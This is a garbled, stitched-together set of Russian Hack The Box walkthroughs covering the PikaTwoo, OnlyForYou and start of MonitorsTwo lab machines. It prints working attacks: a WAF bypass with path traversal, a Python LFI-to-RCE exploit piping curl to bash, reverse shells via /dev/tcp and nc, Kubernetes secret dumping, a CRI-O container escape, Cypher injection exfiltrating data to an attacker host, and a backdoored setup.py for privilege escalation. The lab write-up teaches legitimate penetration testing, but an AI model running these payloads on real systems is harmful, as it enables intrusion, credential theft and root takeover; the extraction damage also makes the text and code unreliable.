feroxbuster -k -u 'https://api.pokatmon-app.htb/
%70%72%69%76%61%74%65/' -t -w raft-large-words.txt -C

Ре зуль тат ска ниро вания катало гов

Нам дос тупны две новые конеч ные точ ки API:  и . Вто- 

рая тре бует ука зать email для сбро са пароля.

login password-reset

curl  -k 'https://api.pokatmon-app.htb/%70%72%69%76%61%74%65/
password-reset'

От вет сер вера

Поч товый адрес мы получа ли при ана лизе APK-при ложе ния. Ука зыва ем его
и получа ем какой-то токен.

curl  -k 'https://api.pokatmon-app.htb/%70%72%69%76%61%74%65/
password-reset/roger.foster37@freemail.htb'

От вет сер вера

Пе рехо дим к API , воз можно, токен нужен будет где-то там. Пер вое, что

узна ём, — здесь исполь зует ся толь ко метод .

login
POST

curl  -k 'https://10.10.11.199/%70%72%69%76%61%74%65/login'

От вет сер вера

За тем пос тепен но опре деля ем, что API при нима ет толь ко поч ту и пароль.

curl  -k -X POST 'https://10.10.11.199/%70%72%69%76%61%74%65/login'

curl   
 

-k -X POST 'https://10.10.11.199/%70%72%69%76%61%74%65/login'
--data 'email=roger.foster37@freemail.htb'

curl   
 

-k -X POST 'https://10.10.11.199/%70%72%69%76%61%74%65/login'
--data 'email=roger.foster37@freemail.htb&password=123'

От вет сер вера

По ана логии выпол ним POST-зап рос к API . Таким обра зом
находим парамет ры  и .

password-reset
token new_password

curl  -k -X POST 'https://api.pokatmon-app.htb/%70%72%69%76%61%74%65/
password-reset/roger.foster37@freemail.htb'

curl  
  

-k -X POST 'https://api.pokatmon-app.htb/%70%72%69%76%61%74%65/
password-reset/roger.foster37@freemail.htb' --data
'token=a63ff73c6f79c8aa6dd40b62989f660832148b5c34882fceb55a481446d5ef
17'

curl  
  

-k -X POST 'https://api.pokatmon-app.htb/%70%72%69%76%61%74%65/
password-reset/roger.foster37@freemail.htb' --data
'token=a63ff73c6f79c8aa6dd40b62989f660832148b5c34882fceb55a481446d5ef
17&
new_password=ralf'

От вет сер вера

Пос ле сме ны пароля перехо дим к глав ному сай ту и авто ризу емся через стра- 
ницу . Там получа ем дос туп к интерфей су Swagger и новым API./docs

Swagger UI

OWASP ModSecurity CRS — Request Body Bypass
Из четырех API толь ко в пер вом при сутс тву ет параметр, поэто му и раз бирать
будем толь ко пер вый.

Зап рос к API

API рас положен на неиз вес тном до это го момен та домене, поэто му обновля- 
ем файл  и перено сим зап рос в curl./etc/hosts

10.10.11.199 pikatwoo.htb pokatmon-app.htb api.pokatmon-app.htb 
pokatmon.htb pikatwoo.pokatmon.htb pokatdex-api-v1.pokatmon-app.htb 
www.pokatmon-app.htb pokatdex-api-v1.pokatmon-app.htb 

curl   -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/?region=test'"

От вет сер вера

В отве те видим упо мина ние отладки. Поп робу ем отпра вить такой
параметр — по идее, он дол жен рас крыть информа цию об ошиб ке.

curl   -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/?region=test'&
debug=true"

От вет сер вера

Из ошиб ки узна ём о фун кции , которая под клю чает передан ный
в парамет ре  файл из катало га . Сра зу пыта емся передать

про изволь ный файл, но ничего не выходит.

include()
region regions

От вет сер вера

Дру гие API дают одно тип ный вывод, поэто му через них ничего не получить.

Зап рос к API /jiotto

Единс твен ное, на что обра щаем вни мание, — это пре обра зова ние пути
на сер вере: так, зап рос к эндпо инту  и зап рос с парамет ром

 дают один и тот же ответ.

/jiotto
region=jiotto

curl   -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/jiotto&
debug=true"

curl   -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/
?region=jiotto&debug=true"

От вет сер вера

На этом эта пе я пот ратил очень мно го вре мени, но ничего не добил ся, пока
на форуме мне не посове това ли пос мотреть на OWASP CRS. 

 — это набор пра вил обна руже ния атак, вклю- 
чая пер вую десят ку OWASP, с помощью ModSecurity. И по зап росу «OWASP
CRS vulns» находим уяз вимость , которая очень хорошо опи- 
сана в . Дело в том, что CRS содер жит набор исклю чений
для популяр ных CMS вро де WordPress и Drupal, что бы избе жать лож ных сра- 
баты ваний. В опи сании уяз вимос ти упо мина ется пра вило 

, которое, по идее, дол жно быть
активно, толь ко если его вклю чат, но из-за невер ной нас трой ки активно всег- 
да и отклю чает ска ниро вание для опре делен ных путей.

OWASP

ModSecurity Core Rule Set

CVE-2021-35368
этой статье

REQUEST-
903.9001-DRUPAL-EXCLUSION-RULES

IoC уяз вимос ти CVE-2021-35368

На ходим пер вый путь в самом пра виле 
. В дан ном слу чае при зап росе к URI, удов летво ряюще му

регуляр ному выраже нию , про исхо дит

про вер ка cookie, содер жимое которо го дол жно соот ветс тво вать дру гому
регуляр ному выраже нию. Если про вер ка прой дена, то ModSecurity не про- 
веря ет переда ваемые в зап росе дан ные.

REQUEST-903.9001-DRUPAL-
EXCLUSION-RULES

/admin/content/assets/add/[az]+$

Пра вило REQUEST-903.9001-DRUPAL-EXCLUSION-RULES

Вы пол ним зап рос к URI , при этом ука зыва ем
куки , а парамет ры перено сим из URI в область дан ных HTTP-зап- 

роса. В качес тве реги она ука зыва ем путь к фай лу .

/admin/content/assets/add/a
SESSa=a

/etc/passwd

   
curl http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/
add/a -d "region=../../../../../../etc/passwd&debug=true" -b
"SESSa=a"

Со дер жимое фай ла /etc/passwd

Та ким обра зом мы обош ли кон троль ModSecurity и рас кры ли уяз вимость LFI.

Îò Nginx LFI ê RCE
Най дя LFI, сра зу переби раем инте рес ные фай лы Linux. Я делаю это через

. Из все го, что я переб рал, толь ко файл  ока зал ся

инте рес ным. Из него узна ём, что исполь зует ся Kubernetes.

Burp Intruder /etc/hosts

Со дер жимое фай ла /etc/hosts

Продолжение статьи →
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Так как у нас есть LFI и исполь зует ся PHP в сочета нии с веб-сер вером Nginx,
мы можем поп робовать получить уда лен ное выпол нение кода. Исполь зуемая
мной тех ника осно вана на свой стве Nginx соз давать вре мен ные фай лы
для боль ших зап росов. Поп робу ем выпол нить зап рос на свой сер вер (запус- 
тив его коман дой ) с помощью curl с уда лен ного
сер вера. Вот как выг лядит экс пло ит:

python3 -m http.server 80

#!/usr/bin/env python3
import sys, threading, requests 

URL  = 'http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/
add/a'

 headers = {
  : , "Content-Type" "application/x-www-form-urlencoded"
  : , "Cookie" "SESSa=a"
}
data   : , :  = { "region" "../../../../../../proc/cpuinfo" "debug" "1" }

r URL, data= requests.post( headers=headers, data= )

cpus = r.text.count('processor')

data  : , 
: 

= {"region" "../../../../../../proc/sys/kernel/pid_max"
"debug" "1"}

r URL, data= requests.post( headers=headers, data= )

 intpid_max = (r.text)
print f( '[*] cpus: {cpus}; pid_max: {pid_max}')

 nginx_workers = []
pid range : for in (pid_max)

 : pid + , 
: 

  data = {"region" "../../../../../../proc/" + str( ) "/cmdline"
"debug" "1"}
  r URL, data= requests.post( headers=headers, data= )

  b  if 'nginx: worker process' in r.content: 
f      print( '[*] nginx worker found: {pid}')

pid      nginx_workers.append( )
len        if (nginx_workers) >= cpus: 

          break

 done = False 

: def uploader()
  print('[+] starting uploader')
  not : while done

URL, 
 + 16 1024

      requests.get( data='<?php system("curl http://10.10.14.
121/test_rce"); /*' * *'A')

_ range 16 : for in ( )
  t = threading.Thread(target=uploader)
  t.start()

pid : def bruter( )
  global done

not :   while done
f      print( '[+] brute loop restarted: {pid}')

fd range 4, 32 :       for in ( )
 : 

pid + +str pid + +str fd + , : ,
          data = {"region" "../../../../../../proc/self/fd/" + str(
) "/../../../" ( ) "/fd/" ( ) "" "debug" "1" }

URL, data          r = requests.post( headers=headers, data= )

            if "uid=" in r.text: 
f              print( '[!] Result: {r.text}')

               done = True 
              exit()

pid for in nginx_workers: 
  a pid, = threading.Thread(target=bruter, args=( ))
  a.start()

Ре зуль тат выпол нения экс пло ита

Ло ги веб-сер вера

На наш веб-сер вер при шел зап рос, а зна чит, запус каем лис тенер (

) и заменя ем выпол няемую в экс пло ите коман ду сле дующей:

pwncat-cs
-lp 4321

curl http://10.10.14.121/test_rce|bash 

А в рас положен ный на сер вере файл  записы ваем реверс-шелл:test_rce

bash  -i >& /dev/tcp/10.10.16.46/4321 0>&1 

Вы пол няем экс пло ит и получа ем дол гождан ную сес сию.

Сес сия поль зовате ля www-data

ÏÐÎÄÂÈÆÅÍÈÅ
Мы попали в кон тей нер, а так как исполь зует ся Kubernetes, ска ниру ем
локаль ную сеть на наличие откры того пор та 8443. Для это го заг ружа ем
на хост .ста тичес ки соб ранный Nmap

nmap -p8443 10.244.0.0/24 --open

Ре зуль тат ска ниро вания пор тов

На ходим API сер вера Kubernetes. Про верим наличие фай лов дос тупа, таких
как токен и сер тификат, в катало ге 

.

/run/secrets/kubernetes.io/
serviceaccount

Со дер жимое катало га serviceaccount и фай ла token

Из фай ла  узна ём прос транс тво имен . Исполь зуя

най ден ный токен, зап росим все сек реты из это го прос транс тва имен.

namespace applications

 
 

./kubectl --token [token] --server https://10.244.0.1:8443/ 
--insecure-skip-tls-verify -n applications get secrets -o yaml 

Сек реты из прос транс тва имен applications

В поле  мно го дан ных, закоди рован ных в Base64. Декоди руем дан-

ные, сох раня ем в файл и про веря ем его тип коман дой .

release
file

Про вер ка типа фай ла

Это архив gzip. Прос матри вая дан ные, находим пару логин — пароль 
, которая ничего нам не дает, а так же адрес с учет ными дан ными

для сер виса .

admin:
admin

evolution.pokatmon.htb:8888

Учет ные дан ные

Ад рес сер виса

С получен ным паролем поль зовате ля  под клю чаем ся по SSH

и забира ем пер вый флаг.

andrew

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание.

В катало ге поль зовате ля  есть фай лы Kubernetes, в том чис ле

файл с нас трой ками .

jennifer
.kube/config

Фай лы Kubernetes

Так же в пап ке  лежит какой-то шаб лон.jennifer

Дос тупные для чте ния фай лы рута в домаш них катало гах поль зовате лей

Пос мотрим вер сию minikube и кон фиги из про филя .jennifer

dpkg  | -l grep minikube 

Вер сия minikube

cat /home/jennifer/.minikube/profiles/minikube/config.json 

Кон фигура ции minikube

Так как исполь зует ся сре да выпол нения CRI-O, я сра зу вспом нил про 
. Этот метод LPE мы уже рас смат ривали в статье

« ».

ре серч
CrowdStrike (CVE-2022-0811)
HTB Vessel. Экс плу ати руем уяз вимость в клас тере Kubernetes

Kubernetes исполь зует CRI-O для безопас ного сов мес тно го исполь- 
зования ядра и ресур сов каж дой ноды с раз личны ми работа ющи ми кон тей- 
нер ными при ложе ниями. Ядро Linux при нима ет парамет ры вре мени выпол- 
нения, которые управля ют его поведе нием. Kubernetes и управля емые им
сре ды выпол нения кон тей неров поз воля ют модулям обновлять эти «безопас- 
ные» нас трой ки ядра, бло кируя дос туп к дру гим.

Эта уяз вимость поз воля ет обхо дить меры безопас ности и уста нав ливать
про изволь ные парамет ры ядра. Таким обра зом, любой, кто име ет пра ва
на раз верты вание модуля в клас тере Kubernetes с CRI-O, может манипу лиро- 
вать парамет ром  для выхода из кон тей нера и выпол- 

нения про изволь ного кода от име ни поль зовате ля root на любом узле в клас- 
тере. Параметр ядра  ука зыва ет, какие дей ствия в слу- 
чае дам па ядра дол жно выпол нить само ядро.

kernel.core_pattern

kernel.core_pattern

Пер вым делом сох раним скрипт , который будет выпол- 

нять ся в при виле гиро ван ном режиме и наз начать бит SUID коман дной обо- 
лоч ке bash. Этот скрипт мы и ука зыва ем в парамет ре .

/dev/shm/lpe.sh

kernel.core_pattern

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

/dev/shm/lpe.sh
#!/bin/bash
chmod u+s /bin/bash 

А теперь исполь зуем вот такой шаб лон для соз дания пода.

lpe.yaml
 apiVersion: v1

 kind: Pod
metadata:
  name: lpe
  namespace: development
spec:
 securityContext:
   sysctls:
     - name: kernel.shm_rmid_forced

      value: "1+kernel.core_pattern=|/dev/shm/lpe.sh #"
 containers:
   - name: lpe-container
    image: localhost/public-api
      command: ["tail", "-f", "/dev/null"]

kubectl apply -f lpe.yaml --kubeconfig=/home/jennifer/.kube/config 

Соз дание пода

Те перь запус каем бес конеч ный про цесс  и получа ем

его PID. Затем уби ваем про цесс, что бы выз вать ава рий ный дамп и выпол- 
нение скрип та .

tail -f /dev/null &

/dev/shm/lpe.sh

 kill -SIGSEGV 1367544 

Вы зов триг гера

Пос ле ата ки про веря ем атри буты фай ла ./bin/bash

Про вер ка фай ла /bin/bash

/bin/bash -p

Флаг рута

У нас есть флаг рута, а это зна чит, что машина зах вачена!

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
https://github.com/carlospolop/PEASS-ng
https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
https://xakep.ru/2023/03/27/htb-vessel/
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ВЗЛОМ

В сегод няшнем рай тапе я покажу спо собы
экс плу ата ции уяз вимос тей LFI и Neo4j
Injection. Затем мы най дем и заюзаем баг
внед рения про изволь ных команд, а пос ле
сде лаем вре донос ный пакет Python, содер- 
жащий бэк дор, который поможет нам
повысить при виле гии в сис теме.

На ша цель — зах ват прав супер поль зовате ля на тре ниро воч ной машине
OnlyForYou с пло щад ки . Уро вень ее слож ности — сред ний.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.210    onlyforyou.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та: 22 — служ ба OpenSSH 8.2p1, 80 —
веб-сер вер Nginx 1.18.0.

За голо вок  показы вает нам редирект на новый домен

, который тоже добав ляем в .

http-title
only4you.htb /etc/hosts

10.10.11.210 onlyforyou.htb only4you.htb 

Те перь можем перехо дить к веб-сер веру и смот реть сайт.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ
На сай те ничего инте рес ного най ти не уда лось, поэто му прис тупим к поис ку
скры тых стра ниц.

Справка: сканирование веба c feroxbuster
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

 1 
 254 

feroxbuster -u http://only4you.htb/ -d -w directory_2.3_medium_
lowercase.txt -t

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

Ни чего нового не находим. Давай тог да перебе рем под домены, вдруг нат- 
кнем ся на что-то инте рес ное. Для это го я исполь зую дру гой ска нер — .
Парамет ры у него похожие, добавит ся толь ко , HTTP-заголо вок.

ffuf
-H

ffuf  
256  

-u http://only4you.htb/ -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.only4you.htb'

Ре зуль тат ска ниро вания под доменов с помощью ffuf

В вывод попада ют все переби раемые вари анты, поэто му уста новим филь тр
(параметр ), уби рающий из вывода все стра ницы раз мером 178 байт.-fs

ffuf  
256    178 

-u http://only4you.htb/ -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.only4you.htb' -fs

Ре зуль тат ска ниро вания под доменов с помощью ffuf

На ходим еще один под домен с говоря щим наз вани ем , который тоже

добав ляем в .

beta
/etc/hosts

10.10.11.210 onlyforyou.htb only4you.htb beta.only4you.htb 

Глав ная стра ница сай та beta.only4you.htb

На сай те можем ска чать исходный код веб-при ложе ния. Конеч но же, дела ем
это и сра зу перехо дим к ана лизу исходни ков. Так, при обра щении к стра нице

 мы можем получить содер жимое ука зан ного фай ла. Не нуж но

даже обхо дить филь тра цию зап росов (стро ка 86).

/download

Блок исходно го кода app.py

Вы пол ним POST-зап рос, где в парамет ре  ука жем файл .image /etc/passwd

curl   -s -X POST http://beta.only4you.htb/download -d "image=/etc/
passwd"

По луче ние фай ла /etc/passwd

Со дер жимое фай ла получе но, а зна чит, есть уяз вимость вклю чения локаль- 
ных фай лов (LFI).

ÒÎ×ÊÀ ÎÏÎÐÛ
LFI
Пе репи шем зап рос в , что бы впос ледс твии мож но было
исполь зовать  для про вер ки фай лов по спис ку.

Burp Repeater

Burp Intruder

Зап рос в Burp Repeater

В отве те получа ем содер жимое фай ла, а зна чит, зап рос сос тавлен вер но.
Теперь перехо дим к Intruder.

Burp Intruder

Ви дим, что сре ди резуль татов с кодом отве та 200 есть файл нас тро ек
Nginx — ./etc/nginx/sites-enabled/default

Со дер жимое фай ла /etc/nginx/sites-enabled/default

Он нам нужен, что бы узнать пути к фай лам обо их сай тов, как основно го, так
и бета-вер сии. Пер вым делом получа ем содер жимое глав ного фай ла при- 
ложе ния — ./var/www/only4you.htb/app.py

Со дер жимое фай ла /var/www/only4you.htb/app.py

В коде меня заин тересо вала фун кция  из модуля .sendmessage form

OS Command Injection
По луча ем содер жимое фай ла  и изу чаем

его. В  пер вым делом про исхо дит вызов фун кции 

из того же фай ла (стро ка 51).

/var/www/only4you.htb/form.py
sendmessage issecure

Ис ходный код form.py

А , в свою оче редь, вызыва ет , куда переда ется часть поль- 

зователь ско го вво да, а имен но домен из получен ного адре са элек трон ной
поч ты исполь зует ся в коман де .

issecure run

dig

Ис ходный код form.py

Это опас ная фун кция, так как она выпол няет ся в коман дной обо лоч ке,
а исполь зован ный филь тр (стро ка 2) не реаги рует на сим вол , в Bash озна- 
чающий опе ратор , который переда ет дан ные сле дующей коман де.

Это откры вает для нас воз можность инъ екции команд. Давай добавим
к домену в элек трон ной поч те сим вол . В качес тве коман ды поп робу ем

выпол нить зап рос на свой сер вер: .

|
pipe

|
python3 -m http.server 80

curl   -s -X POST http://only4you.htb/ -d "name=rce&email=ralf@ralf.
com|curl+10.10.14.71/test_rce&subject=test&message=test"

Ло ги веб-сер вера

Ко ман да успешно выпол нена, поэто му акти виру ем лис тенер 
 и закинем реверс-шелл:

pwncat-cs -lp 
4321

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.71 4321 >/
tmp/f 

curl   -s -X POST http://only4you.htb/ -d 'name=rce&email=ralf@ralf.
com|rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.
71+4321+>/tmp/f&subject=test&message=test'

Сес сия www-data

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists
https://github.com/ffuf/ffuf
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ
Те перь нам необ ходимо соб рать информа цию. Источни ков информа ции
очень мно го, и, что бы не про верять все вруч ную, я исполь зую скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

В выводе будет мно го информа ции, поэто му отбе рем толь ко зна чимую.
От меча ем откры тый порт 3000 для сер висов Git, 7687 — для СУБД Neo4j

и нетипич ный порт 8001.

От кры тые пор ты

Нас трой ки sudoers дос тупны при вво де пароля.

Нас трой ки sudoers

Что бы получить дос туп к этим пор там, нуж но пос тро ить тун нель. Для это го
будем исполь зовать ути литу . На локаль ном хос те запус тим сер вер,

ожи дающий под клю чения (параметр ) на порт 8888 (параметр ).

chisel

--reverse -p

./chisel.bin server -p 8888 --reverse

Те перь на уда лен ный хост с помощью коман ды  заг рузим chisel
и запус тим кли ент скую часть. Ука зыва ем адрес и порт для под клю чения,
а так же нас трой ки для тун неля — какой локаль ный порт на какой уда лен ный
тун нелиро вать.

upload

./chisel.bin client 10.10.14.111:8888 R:3000:127.0.0.1:3000 R:8001:
127.0.0.1:8001 

Ло ги chisel client

Ло ги chisel server

Сес сия появи лась в логах сер вера, теперь мож но прос мотреть, что отве чают
два веб-сер вера.

Глав ная стра ница Gogs на пор те 3000

Стра ница авто риза ции сай та на пор те 8001

На Gogs нам ничего не дос тупно, зато на сайт на пор те 8001 лег ко про ходим
по ком бинации : .admin admin

Глав ная стра ница сай та

Нем ного пос мотрев дос тупные стра ницы, находим поле поис ка, которое
с боль шой веро ятностью дела ет зап рос к базе дан ных.

Со дер жимое стра ницы search

На сер вере мы наш ли толь ко работа ющую гра фовую СУБД Neo4j.

Neo4j Injection
Боль шинс тво наг рузок для экс плу ата ции инъ екций в Neo4j поз воля ют
эксфиль тро вать дан ные на внеш ний сер вер. Запус каем веб-сер вер 

 на сво ем хос те и отправ ляем нес коль ко 

. В ито ге находим ту, что при сыла ет нам вер сию исполь зуемой
СУБД.

python3 
-m http.server 80 наг рузок

с HackTricks

' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, 
edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.
111/?version=' + version + '&name=' + name + '&edition=' + edition 
as l RETURN 0 as _0 //

Ло ги веб-сер вера

Мы наш ли под ходящую наг рузку, теперь нуж но разоб рать ся, как работать
с Neo4j. В гра фовых базах дан ных мы не получа ем таб лицы, колон ки и зна- 
чения из них, как в реляци онных базах дан ных. Вмес то это го тут есть сле- 
дующие механиз мы:

Nodes — вер шины гра фа, которые пред став ляют объ ект или сущ ности
и мет ки сущ ностей;

•

Labels — мет ки, которые мар киру ют вер шины гра фа;•
Relationships — отно шения меж ду дву мя узла ми гра фа;•
Properties — кон крет ная информа ция каж дого узла и отно шения.•

Так как за груп пиров ку узлов по опре делен ным свой ствам отве чают мет ки,
нам нуж но узнать, какие мет ки есть в базе дан ных. Для это го обра щаем ся
к методу .db.labels

' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM '
http://10.10.14.111/?l='+label as l RETURN 0 as _0 //

Мет ки в текущей базе дан ных

У нас есть мет ки  и . Конеч но же, нас инте ресу ет информа ция
о поль зовате лях. Что бы получить ее, зап рашива ем информа цию каж дого узла
с мет кой .

user employee

user

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as k LOAD CSV 
FROM 'http://10.10.14.111/?' + k +'='+toString(f[k]) as l RETURN 0 
as _0 //

Дан ные узлов с мет кой user

По луча ем учет ные дан ные двух поль зовате лей. Мы узна ли хеши, которые сра- 
зу отправ ляем на перебор через сайт .Crackstation

Ре зуль тат взло ма хешей

И таким обра зом узна ем ранее неиз вес тный пароль поль зовате ля john. Авто- 
ризу емся от его лица по SSH.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Хост мы уже ска ниро вали, поэто му оста ется не так мно го мест, которые нуж- 
но про верить при изме нении поль зовате ля. Одно из таких мест — нас трой ки
sudoers.

Нас трой ки sudoers

Здесь видим, что поль зователь может выпол нить в при виле гиро ван ном кон- 
тек сте без вво да пароля такую коман ду:

3000//usr/bin/pip3 download http\://127.0.0.1\: *.tar.gz 

Этот однос троч ник заг рузит и соберет зависи мость из ука зан ного внут ренне- 
го репози тория. Так как мы уже тун нелиру ем порт 3000, поп робу ем авто ризо- 
вать ся в Git.

Па нель управле ния Git

Мы можем соз дать свой пакет pip3 с коман дами, которые будут выпол нять ся
интер пре тато ром перед сбор кой пакета или пос ле нее. Затем помес тим наш
пакет в Git и выпол ним сбор ку. Как соб рать пакет с бэк дором, 

 в бло ге Embrace The Red. Копиру ем струк туру про екта, а в качес тве
выпол няемой коман ды будем наз начать бит SUID фай лу коман дной обо лоч ки

.

под робно рас- 
писано

/bin/bash

    from setuptools import setup, find_packages
   from setuptools.command.install import install
   from setuptools.command.egg_info import egg_info

 import os

 def RunCommand():
  os.system("chmod u+s /bin/bash")

 class RunEggInfoCommand(egg_info):
   def run(self):
      RunCommand()
      egg_info.run(self)

 class RunInstallCommand(install):
   def run(self):
      RunCommand()
      install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",
  packages=find_packages(),
  cmdclass={

        'install' : RunInstallCommand,
       'egg_info': RunEggInfoCommand

  },
)

На зыва ем файл  и выпол няем сбор ку.setup.py

pip3 install build 
python3 -m build 

Сбор ка пакета

Ре зуль тат сбор ки пакета

Те перь перехо дим к Git и соз даем новый репози торий.

Соз дание нового репози тория

Соз данный репози торий LPE

Вы бира ем «Заг рузить файл» и ука зыва ем соз данный нами пакет.

Заг рузка фай ла

Со дер жимое репози тория LPE

Ре пози торий готов, а зна чит, можем воз вра щать ся к сес сии SSH и выпол нять
ука зан ную в нас трой ке коман ду sudo.

sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/lpe/raw/
master/this_is_fine_wuzzi-0.0.1.tar.gz 

Сбор ка соз данно го пакета pip3

Про верим пра ва фай ла . Если S-бит наз начен, то все прош ло

по пла ну.

/bin/bash

Пра ва фай ла /bin/bash

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Соз даем новую сес сию и забира ем вто рой флаг.

/bin/bash -p

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://github.com/jpillora/chisel
https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j
https://crackstation.net/
https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
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ПОВЫШАЕМ ПРИВИЛЕГИИ 
И СБЕГАЕМ ИЗ КОНТЕЙНЕРА

DOCKER

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе мы с тобой под нимем при- 
виле гии в кон тей нере Docker, затем совер- 
шим побег из него и заюзаем CVE-2021-
41091 для зах вата рута на хос товой
машине. Но сна чала нуж но будет взло мать
сайт и про экс плу ати ровать уяз вимость
в движ ке Cacti.

Про делы вать все это мы будем в рам ках про хож дения тре ниро воч ной
машины MonitorsTwo с пло щад ки . Уро вень ее слож ности — лег- 
кий.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.211    monitorstwo.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
